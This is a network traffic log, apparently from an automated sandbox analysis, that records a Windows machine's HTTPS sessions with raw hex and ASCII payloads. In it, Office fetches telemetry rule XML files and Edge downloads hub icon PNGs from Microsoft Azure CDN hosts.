2024-10-27 16:54:38 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-10-27 16:54:38 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-10-27 16:54:38 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:38 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:38 UTC	584	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:38 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165438Z-16849878b78qfbkc5yywmsbg0c00000003d000000000f23n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:38 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:38 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:38 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:38 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9cf5c506-801e-0083-443d-26f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165438Z-r197bdfb6b4mcssrvu34xzqc5400000003v0000000007nz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:38 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:38 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:38 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165438Z-15b8d89586fx2hlt035xdehq580000000mg000000000bur4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:38 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:38 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165438Z-16849878b78qwx7pmw9x5fub1c00000001u000000000mere x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49900	13.107.246.57	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:38 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:39 UTC	516	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: b003c4e3-a01e-0061-6990-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241027T165438Z-16849878b78fssff8btnns3b14000000044g000000004f5d Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-27 16:54:39 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49902	13.107.246.57	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:38 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:39 UTC	523	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 264256e4-001e-000a-7190-28718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241027T165438Z-r197bdfb6b4mcssrvu34xzqc5400000003v0000000007p09 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-27 16:54:39 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49903	13.107.246.57	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:38 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:39 UTC	516	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5984f239-a01e-0048-0690-285a9a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241027T165438Z-16849878b78fkwcjkpn19c5dsn00000002vg000000006t50 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-27 16:54:39 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49899	13.107.246.57	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:38 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:39 UTC	523	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 97d26a57-901e-0040-0190-2841e9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241027T165438Z-17c5cb586f6mkpfk79wxvcahc000000004ag000000001avg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-27 16:54:39 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49901	13.107.246.57	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:38 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:39 UTC	523	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 2c3a4d82-201e-0016-4690-28a999000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241027T165438Z-17c5cb586f6w4mfs5xcmnrny6n00000005cg000000003xms Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-27 16:54:39 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:39 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 62bbcfe8-a01e-0032-2ffc-241949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165439Z-r197bdfb6b4skzzvqpzzd3xetg000000035g000000006c3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
